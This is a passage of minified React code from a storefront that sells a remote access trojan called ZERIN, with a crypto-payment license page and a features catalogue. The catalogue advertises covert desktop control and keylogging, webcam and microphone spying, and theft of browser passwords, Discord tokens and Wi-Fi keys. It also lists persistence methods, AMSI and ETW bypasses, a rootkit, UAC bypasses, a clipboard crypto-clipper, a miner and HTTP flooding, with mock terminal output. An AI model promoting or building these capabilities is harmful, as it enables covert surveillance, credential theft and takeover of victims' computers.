text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),s.jsx(dt,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),s.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:s.jsx("div",{className:"w-full max-w-lg",children:r?s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),s.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),s.jsx(dt,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?s.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[s.jsx("div",{className:"auth-corner auth-corner-tl"}),s.jsx("div",{className:"auth-corner auth-corner-tr"}),s.jsx("div",{className:"auth-corner auth-corner-bl"}),s.jsx("div",{className:"auth-corner auth-corner-br"}),s.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),s.jsxs("div",{className:"flex items-center gap-2",children:[!c&&s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),s.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),s.jsxs("div",{className:"px-6 py-6 space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),s.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),s.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),s.jsxs("div",{className:"flex justify-between items-center",children:[s.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),s.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&s.jsxs("div",{children:[s.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),s.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&s.jsxs("div",{className:"space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),s.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),s.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:a?"Copied!":"Copy Key"}),s.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",s.jsx(dt,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&s.jsxs("div",{className:"text-center space-y-3",children:[s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),s.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),s.jsx(dt,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),s.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Mi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... active',' ETW Patching .......... active',' Sleep Obfuscation ..... active',' Indirect Syscalls ..... active',' ntdll Unhooked ........ clean',' Rootkit Hooks ......... 11/11',' Kill Protection ....... active',' Injected Processes .... 34']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [] Now running as High Integrity']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function qS(e=.15){const t=p.useRef(null),[n,r]=p.useState(!1);return p.useEffect(()=>{const i=t.current;if(!i)return;const a=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),a.disconnect())},{threshold:e});return a.observe(i),()=>a.disconnect()},[e]),{ref:t,visible:n}}const wV=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function L2({text:e,base:t}){const n=[];let r=0;const i=/([^<]*)<\/span>/g;let a=0,o;for(;(o=i.exec(e))!==null;)o.index>a&&n.push(s.jsx("span",{className:t,children:e.slice(a,o.index)},r++)),n.push(s.jsx("span",{className:o[1],children:o[2]},r++)),a=i.lastIndex;return as.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${a*80}ms`:"0ms"},children:i.startsWith("$")?s.jsxs(s.Fragment,{children:[s.jsx("span",{className:"text-zerin-accent",children:"$"}),s.jsx("span",{className:"ml-2",children:s.jsx(L2,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):s.jsx("span",{className:"pl-4",children:s.jsx(L2,{text:i,base:"text-zerin-text-muted/60"})})},a))})]})}const kV=p.memo(function({feat:t,delay:n,visible:r}){const[i,a]=p.useState(!1);return s.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:s.jsxs("button",{onClick:()=>t.detail&&a(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[s.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),s.jsxs("div",{className:"flex-1 min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&s.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&s.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function NV({cat:e,index:t}){const{ref:n,visible:r}=qS(.1);return s.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[s.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),s.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-2.5",children:[s.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),s.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),s.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[s.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,a)=>s.jsx(kV,{feat:i,delay:a*50,visible:r},i.name))}),e.terminal&&s.jsx("div",{className:"hidden lg:block",children:s.jsx("div",{className:"sticky top-24",children:s.jsx(jV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function SV({activeId:e}){return s.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:s.jsx("div",{className:"flex flex-col gap-1",children:Mi.map(t=>s.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[s.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),s.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function Zl({value:e,label:t,suffix:n=""}){return s.jsxs("div",{className:"text-center",children:[s.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),s.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function zV(){const[e,t]=p.useState(!1),[n,r]=p.useState(Mi[0].id);p.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),p.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Mi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=p.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),a=Mi.reduce((o,l)=>o+l.features.length,0);return s.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[s.jsx(wV,{}),s.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),s.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:s.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[s.jsx("div",{className:"flex items-center gap-3",children:s.jsxs(dt,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),s.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(dt,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),s.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx(dt,{to:"/login",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Login"}),s.jsx(dt,{to:"/register",className:"bg-zerin-accent/10 border border-zerin-accent/25 hover:border-zerin-accent/50 hover:bg-zerin-accent/15 text-zerin-accent text-sm 